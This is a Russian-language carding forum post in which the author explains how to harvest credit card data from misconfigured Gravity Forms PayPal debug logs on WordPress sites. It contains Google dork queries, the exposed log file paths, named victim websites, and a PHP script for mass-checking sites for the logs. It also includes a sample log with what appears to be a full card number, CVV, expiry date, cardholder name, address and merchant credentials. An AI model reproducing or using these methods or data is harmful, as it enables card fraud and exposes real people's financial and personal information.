Поиск картона свои руками (2017)

[blackedd]

Привет ребятишки! И снова с вами MrROBOT!
Сегодня я покажу как можно добывать картон, метод абсолютно уникальный и неоткуда не слизанный. Дырочку я нашел довольно давно, но сегодня появилась нужна в СС и пришлось немного помозговать, чтобы запустить данный процесс. Я нашел небольшую ошибку в плагине WP под название gravity forms, данный скрипт многофункциональный. Это 0day который нигде не фигурировал на данный момент, другие баги конечно же в нем находили. Данный плагин использую для подключения оплаты на сайте и других фишек, подробнее можно почитать тут https://wordpress.org/plugins/gravity-forms-addons/
Как видим активных инсталлов +6000, что довольно не плохо. Дело в том, что в режиме дебага ведется лог где лежат картонки и другая информация холдера.
Пример записи:
Code:

DEBUG --> Payment in the amount of 200 was captured successfully.

DEBUG --> Capturing payment in the amount of 140.

DEBUG --> Sending request to PayPal - URL: https://payflowpro.paypal.com Request: VENDOR=1990NOFAS22&PARTNER=PayPal&PWD=Wartnikmunch  2016&USER=1990NOFAS22&BUTTONSOURCE=Rocketgenius_SP  &ACCT=5410658406967503&EXPDATE=1217&CVV2=572&STREE  T=681 B West Broadway&CITY=Granville&STATE=OH&ZIP=43023&BILLTOC  OUNTRY=US&CURRENCY=USD&FIRSTNAME=Nestor &LASTNAME=Matthews&[email protected]&DES  C=&L_NAME0=Custom Donation Amount&L_DESC0=Custom Donation Amount&L_AMT0=140&L_NUMBER0=1&L_QTY0=1&AMT=140&TEN  DER=C&TRXTYPE=S

2015-02-01 13:19:47 - DEBUG --> Response from PayPal: RESULT=0&PNREF=EREPBB81E4DE&RESPMSG=Approved&AUTHC  ODE=111111&AVSADDR=Y&AVSZIP=Y&CVV2MATCH=Y&PPREF=2B  N34309CX798431V&CORRELATIONID=66bca165ccde&IAVS=N

2015-02-01 13:19:47 - DEBUG --> Friendly view of response: Array

(

[RESULT] => 0

[PNREF] => EREPBB81E4DE

[RESPMSG] => Approved

[AUTHCODE] => 111111

[AVSADDR] => Y

[AVSZIP] => Y

[CVV2MATCH] => Y

[PPREF] => 2BN34309CX798431V

[CORRELATIONID] => 66bca165ccde

[IAVS] => N

)

Что мы тут видим?
1) ACCT=5410658406967503 - номер карты
2) EXPDATE=1217 - дата
3) CVV2=572 - без комментов
4) STREET=681 B West Broadway&CITY=Granville&STATE=OH&ZIP=43023&BILLTOC OUNTRY=US&CURRENCY=USD - полный адрес холдера
5) FIRSTNAME=Nestor &LASTNAME=Matthews - ФИО холдера
6) [email protected] - почту + в некоторых случая пасс от PayPal
Нам же этого хватит?
Поиск уязвимого скрипта:
Code:

inurl:/wp-content/uploads/gravity_forms/logs/

Тут мы сразу находит:
http://www.nofas.org/wp-content/uplo...aymentspro.txt
http://www.blackbeltsuccess.com/slas...spaypalpro.txt
Как видим в файликах gravityformspaypalpaymentspro.txt и gravityformspaypalpro.txt лежит лог по дебагу и куча картона со всеми необходимыми данными. Можете не стараться, он весь уже чекнутый и отработанный Если знакомы с настройками веб сервера, то поймете как такие вещи попали в Гугл. Тут не правильно настроены права доступа, именно по этому делаем вывод, что таких сайтов в 1000 раз больше и не все они проиндексировались Гугл.
Как же нам их найти?
1) Для начала нам нужно настроить парсер Гугла и выбрать все сайты WP по определенным запросам. Я приведу пару примеров, но свой список палить не буду.
Code:

store paypal inurl:/wp-content/

paypal inurl:/wp-content/

payment paypal inurl:/wp-content/

и т.д

2) Далее нам нужно будет собрать огромный список и чекнуть его на наличии дебаг лога. Наш скрипт должен ходить и проверять следующие вещи:
Code:

/wp-content/uploads/gravity_forms/logs/gravityformspaypalpro.txt

/wp-content/uploads/gravity_forms/logs/gravityformspaypalpaymentspro.txt

/wp-content/uploads/gravity_forms/logs/

3) После добычи массово чекаем картон.
Как это реализовать?
1) С парсером все просто, как оказалось есть бесплатный http://ascent.pro/ru/. Для его нормальной работы достаточно подключить антигейт или соксы.
У меня на дедике работает отлично!

2) После того как мы выбираем большое количество сайтов WP (предположительно с установленным плагином), нам нужно проверить наличия дебаг лога.
Для этого можно доработать скрип, все за вас писать не буду. По данной аналогие можно искать ЦЦ не только в этом плагине, но и много где еще!
Code:

function check_url($url)

{

  $url = preg_replace("/[^x20-xFF]/","",@strval($url));

  if (!strstr($url,"://"))

  {

  $url="http://".$url;

  }

  if (preg_match("/^(http://|https://)((www.|([w, -]+.))?([w, 

-]+.)(com|net|org|info|biz|spb.ru|msk.ru|com.ru|org.  

ru|net.ru|ru|su|us|bz|kz|ws|рф|pro))(|/.*)$/u", $url))

  {

  return $url;

  }

  return false;

}

function open_url($url)

{

$url_c=parse_url($url);

  if (!empty($url_c['host']) and checkdnsrr($url_c['host']))

  {

  // Ответ сервера

  if ($otvet=@get_headers($url)){

  return substr($otvet[0], 9, 3);

  }

  }

  return false;  

}

// Проверка ссылкок! Тут настраиваем забор в цикле из тхт или формы

$url='http://site.ru/wp-content/uploads/gravity_forms/logs/gravityformspaypalpaymentspro.txt';

if

 ($url=check_url($url))

{

  // ссылка корректная

  if ($o=open_url($url))

  {

  echo "Ответ сервера " . $o;

  }

  else

  {

  echo "Сервер не отвечает";

  }

}

else echo "Некорректная ссылка";

Я думаю логика поиска вам станет понята. Зачем платить за картон? Кода его можно найти!
Это авторская статья от MrROBOT!